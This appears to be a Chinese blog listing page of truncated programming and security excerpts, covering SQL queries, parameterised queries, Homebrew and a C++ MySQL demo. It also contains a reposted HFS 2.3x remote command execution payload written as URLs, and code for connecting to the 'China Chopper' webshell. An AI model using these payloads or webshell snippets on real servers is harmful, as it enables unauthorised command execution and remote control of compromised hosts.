子域名Top 3000
mysql> select SUBSTR(domain,1,LOCATE('.',domain)-1) pre,count(*) c from sys_domain where parent_id > 0 group by pre order by c desc limit 0,3000; +----------------+---------+ | pre | c...
阅读全文mysql> select SUBSTR(domain,1,LOCATE('.',domain)-1) pre,count(*) c from sys_domain where parent_id > 0 group by pre order by c desc limit 0,3000; +----------------+---------+ | pre | c...
阅读全文从某论坛看见的,转载部分: 这个程序在国内用的特别多,特别是那些抓肉鸡的黑阔。 http://localhost:80/?search==%00{.exec|cmd.} http://localhost:80/search=%00{.exec|cmd.} 注:有些版本search前面是没有?的。 测试部分: 百度搜HFS默认就是2.3x版本,执行echo测试成功: http://localhost...
阅读全文配置SqlDataSource1,搜索的一般需要动态查询,为了解决拼SQL问题,可以采用预编译。参考:SqlDataSource 中 参数动态赋值的方法 和 使用 SqlDataSource 进行带参数的查询 protected void Button1_Click(object sender, EventArgs e) { string id = TextBox1.Text.ToString()...
阅读全文SQL预编译: string sql = "select count(1) from xxx where xxx = @id "; SqlParameter[] paras = new SqlParameter[] { new SqlParameter("@id", id) }; sqlHelp.executeQueryScalar(sql, paras);...
阅读全文http://brew.sh/ 在 OS X 中找不到您想要的软件?Homebrew 给你所需。 $ brew install wget Homebrew 将软件包分装到单独的目录,然后 symlink 到/usr/local 中。 $ cd /usr/local $ find Cellar Cellar/wget/1.15 Cellar/wget/1.15/bin/wget Cellar/wge...
阅读全文VB连接菜刀: "密"&chr(13)&chr(9)&chr(10)&"码"&chr(2) C++连接菜刀: byte pwd[]={0xc3,0xdc,0x0d,0x09,0x0a,0xc2,0xeb,0x02};(char*)pwd C#连接菜刀: Encoding.GetEncoding(936).GetStri...
阅读全文C++连接MysqlDemo: #include "StdAfx.h" #include "winsock.h" #include <iostream> #include "mysql.h" #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, &q...
阅读全文